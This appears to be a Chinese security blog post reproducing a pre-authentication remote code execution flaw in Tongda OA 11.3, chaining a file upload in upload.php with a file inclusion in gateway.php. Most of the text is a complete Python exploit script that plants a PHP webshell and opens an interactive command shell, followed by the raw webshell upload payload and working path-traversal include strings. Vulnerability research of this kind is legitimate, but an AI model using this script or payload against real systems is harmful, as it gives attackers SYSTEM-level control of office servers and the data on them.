image
漏洞概述
通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化系统，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。
该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件，组合文件包含漏洞最终造成远程代码执行漏洞，从而导致可以控制服务器system权限。
漏洞复现
测试版本 通达OA11.3：https://cdndown.tongda2000.com/oa/2019/TDOA11.3.exe
直接下载安装。安装过程比较漫长，安装了Nginx、MySQL，网站源码（在webroot目录下），并且会开机启动。
先尝试下腹黑师傅的脚本：
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
'''
@File : tongda_rce.py
@Time : 2020/03/18 11:59:48
@Author : fuhei
@Version : 1.0
@Blog : http://www.lovei.org
'''
import requests
import re
import sys
def check(url):
try:
url1 = url + '/ispirit/im/upload.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"f.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['f'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\r\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
result = requests.post(url1, headers=headers, data=data)
name = "".join(re.findall("2003_(.+?)\|",result.text))
url2 = url + '/ispirit/interface/gateway.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "echo fffhhh"}
result = requests.post(url2, headers=headers, data=data)
if result.status_code == 200 and 'fffhhh' in result.text:
# print("[+] Remote code execution vulnerability exists at the target address")
return name
else:
return False
except:
pass
def command(url, name,command="whoami"):
url = url + '/ispirit/interface/gateway.php'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
result = requests.post(url, headers=headers, data=data)
while(1):
command = input("fuhei@shell$ ")
if command == 'exit' or command == 'quit':
break
else:
data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
result = requests.post(url, headers=headers, data=data)
print(result.text)
if __name__ == '__main__':
url = sys.argv[1]
name = check(url)
if name:
print("[+] Remote code execution vulnerability exists at the target address")
command(url,name)
else:
print("[-] There is no remote code execution vulnerability in the target address")
效果如下：
image
这个给过程可以分为两步：
- 上传shell文件
- 包含该shell并执行恶意代码
上传shell文件
漏洞点在/ispirit/im/upload.php
分析源码，只要POST 参数P，即可绕过认证：
image
传递如下相关参数：
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="ATTACHMENT"; filename="f.jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['f'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="P"
1
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="DEST_UID"
1222222
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="UPLOAD_MODE"
1
-----------------------------27723940316706158781839860668--
如下：
image
只要返回类似这样的信息，就说明文件上传成功了。
上传的文件不在web目录下，无法直接访问，具体目录为：attach/im/2003/随机数.文件名
文件包含
漏洞位置：/ispirit/interface/gateway.php
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val) {
if ($key == 'data') {
$val = (array) $val;
foreach ($val as $keys => $value) {
${$keys} = $value;
}
}
if ($key == 'url') {
$url = $val;
}
}
if ($url != '') {
if (substr($url, 0, 1) == '/') {
$url = substr($url, 1);
}
if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
include_once $url;
}
}
exit;
}
只要包含的文件路径中含有general/等关键字，就会执行包含操作。
结果如下（需要添加相关文件头）：
image
但是腹黑师傅脚本中的目录没看太懂（../../../），后面再尝试其他易于理解的目录。
注意事项
1. zend|54加密
通达OA的所以PHP源文件都是经过zend加密的，直接用文本编辑器打开是无法查看源码的，需要解密后查看：
http://dezend.qiling.org/free.html
2. 目录问题
首先展示下通达OA的关键目录：
C:\MYOA
| \attach
| \im
| \2003
| 上传的文件
| \webroot
| \ispirit
| \im
| upload.php
\interface
| gateway.php
文件包含操作在gateway.php
如下目录都可以包含成功：
../../general/../../attach/im/2003/2103512691.f.jpg/general/../../attach/im/2003/2103512691.f.jpg../../../general/../attach/im/2003/2103512691.f.jpg
第三种即腹黑师傅脚本中的，没看太懂。。
3. 猜测通达OA重启服务后会自动更新补丁
昨天晚上exp跑的好好的，今天早上再试就漏洞不存在了，可能是自动更新了补丁。
提前把webroot目录备份了一下，如果有小伙伴第二次复现失败，就尝试删掉现有的webroot目录再还原。
参考链接
https://www.anquanke.com/post/id/201174
https://www.mzxh.xyz/2020/03/18/%E9%80%9A%E8%BE%BEoa%E5%A4%8D%E7%8E%B0/
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